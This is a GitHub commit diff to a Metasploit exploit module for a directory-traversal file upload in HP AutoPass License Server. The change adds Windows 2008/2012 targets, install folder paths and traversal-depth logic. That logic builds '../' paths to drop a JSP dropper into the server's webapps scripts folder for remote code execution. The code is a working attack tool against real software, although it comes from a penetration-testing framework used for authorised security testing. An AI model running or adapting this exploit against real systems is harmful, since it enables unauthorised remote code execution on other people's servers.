Skip to content

Commit 8733dcb

Browse files
committed
Land rapid7#3531 - Windows 2008 Update for HP AutoPass License
2 parents 0ef1f56 + 6d05a24 commit 8733dcb

File tree

1 file changed

+69
-8
lines changed

1 file changed

+69
-8
lines changed

modules/exploits/windows/http/hp_autopass_license_traversal.rb

Lines changed: 69 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = ExcellentRanking
9+
Rank = GreatRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::FileDropper
@@ -40,17 +40,49 @@ def initialize(info = {})
4040
'Arch' => ARCH_JAVA,
4141
'Targets' =>
4242
[
43-
['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}]
43+
['Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
44+
{
45+
'InstallDepth' => 4,
46+
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
47+
'WebappsDepth' => 1
48+
}
49+
],
50+
['Windows 2008 32 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
51+
{
52+
'InstallDepth' => 7,
53+
'InstallFolder' => '/Program Files/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
54+
'WebappsDepth' => 1
55+
}
56+
],
57+
['Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
58+
{
59+
'InstallDepth' => 7,
60+
'InstallFolder' => '/Program Files (x86)/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
61+
'WebappsDepth' => 1
62+
}
63+
],
64+
['Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
65+
{
66+
'InstallDepth' => 4,
67+
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
68+
'WebappsDepth' => 1
69+
}
70+
]
4471
],
4572
'DefaultTarget' => 0,
4673
'DisclosureDate' => 'Jan 10 2014'))
4774

4875
register_options(
4976
[
5077
Opt::RPORT(5814),
51-
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']),
52-
OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]),
53-
OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1])
78+
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass'])
79+
], self.class)
80+
81+
register_advanced_options(
82+
[
83+
OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']),
84+
OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']),
85+
OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder'])
5486
], self.class)
5587
end
5688

@@ -99,7 +131,8 @@ def exploit
99131
# In order to execute it, through the AutoPass application we would like to drop it here:
100132
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
101133
dropper_traversal = install_traversal
102-
dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}"
134+
dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}"
135+
103136
res = upload_file(dropper_traversal, dropper)
104137

105138
register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
@@ -140,11 +173,39 @@ def exploit
140173
end
141174

142175
def webapps_traversal
143-
"../" * datastore['WEBAPPS_DEPTH']
176+
if datastore['WEBAPPS_DEPTH'] > 0
177+
depth = datastore['WEBAPPS_DEPTH']
178+
elsif target['WebappsDepth']
179+
depth = target['WebappsDepth']
180+
else
181+
depth = 1
182+
end
183+
184+
"../" * depth
144185
end
145186

146187
def install_traversal
147-
"/.." * datastore['INSTALL_DEPTH']
188+
if datastore['INSTALL_DEPTH'] > 0
189+
depth = datastore['INSTALL_DEPTH']
190+
elsif target['InstallDepth']
191+
depth = target['InstallDepth']
192+
else
193+
depth = 4
194+
end
195+
196+
"/.." * depth
197+
end
198+
199+
def install_folder
200+
if !datastore['INSTALL_FOLDER'].blank?
201+
folder = datastore['INSTALL_FOLDER']
202+
elsif target['InstallFolder']
203+
folder = target['InstallFolder']
204+
else
205+
folder = "/HP AutoPass License Server/HP AutoPass License Server"
206+
end
207+
208+
folder
148209
end
149210

150211
# Using a JSP dropper because the vulnerability doesn't allow to upload

0 commit comments

Comments
 (0)